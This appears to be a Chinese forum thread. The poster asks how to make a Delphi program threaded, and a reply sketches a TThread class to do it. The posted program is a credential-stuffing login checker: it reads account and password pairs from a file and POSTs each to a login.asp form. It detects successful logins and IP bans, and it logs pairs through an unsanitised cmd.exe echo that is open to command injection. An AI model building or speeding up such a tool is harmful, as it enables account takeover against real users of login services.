代码如下: 怎么改才可以是用线程工作的模式unit Unit3;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, ComCtrls;type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    Button2: TButton;
    IdHTTP1: TIdHTTP;
    StatusBar1: TStatusBar;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;implementation{$R *.dfm}procedure TForm1.Button1Click(Sender: TObject);
var
  num:string;
  pwd:string;
  str,ni:string;
  all,sts:string;
  i,t:Integer;
  List: TStringList;
    stream: TStringStream;
  postList:TStrings;
  htmltext:string;
begin
  button1.Enabled:=false;
  statusbar1.Panels.Items[1].Text:='处理中…';
  List := TStringList.Create;
  List.LoadFromFile('test.txt');
  for i := 0 to List.Count - 1 do
  begin
  all:= List[i];
  t:=Pos('-',all);
  num:=Copy(all,0,t);
  pwd:=Copy(all,t+1,Length(all)-t);
  //showmessage(num+'--'+pwd);
str:='cmd.exe /c echo '+num+'---'+pwd+' >> save.txt';
winexec(pchar(str),0);  try
   with IdHTTP1 do
      begin
          //showmessage(num+'--'+pwd);
IdHttp1.HandleRedirects := True;
IdHttp1.Request.ContentType := 'application/x-www-form-urlencoded';
IdHttp1.Request.Referer := 'http://localhost/login.asp';
sts:='user_id='+num+'&user_pw='+pwd+'&chk=21';
stream := TStringStream.Create(sts);
  try
  htmltext:=IdHttp1.Post('http://localhost/login.asp',stream);
    memo1.Lines.Add(htmltext);
   if pos('ok',htmltext)>0 then
    ShowMessage('成功');
   if pos('ip',htmltext)>0   then
    ShowMessage('ip被封');
  finally
    stream.Free;
      end;   end;
     finally
   end;  end;
  List.Free;
  button1.Enabled:=true;
  statusbar1.Panels.Items[1].Text:='已停止…';
  statusbar1.Panels.Items[3].Text:='检测完毕..';
   
  end;procedure TForm1.Button2Click(Sender: TObject);
begin
close();
end;end.

解决方案 »

  1.   

    不知道是不是你的意思TXXXX = class(Thread)
      private
        FHttp : TIDHttp;
        FIntext : string;
        FList : TStringList;
        procedure dostatabar;
        procedure domessage;
      potected
        procedure execute;override;
      public
        constructor create(AText : string);
    end;constructor TXXXX.create(AText : string);
    begin
      Inherited create(True);
      FreeOnTerminate := true;
      FinText := AText;
      resume;
    end;procedure TXXXX.dostatabar;
    begin
      with formXXX{窗体} do begin
       ....
       end;
    end;procedure TXXXX.domessage;
    begin
      处理显示结果...
    end;procedure TXXXX.execute;
    begin
      FHttp := TIDHttp.create(nil);
      FList := TStringList.create;
      .... 这里把你Button里代码改改放进来
      Synchronize(dostatabar);//处理状态栏
      Synchronize(domessage);//处理显示结果,如果线程不是安静模式 直接showmessage
      ....
      
    end;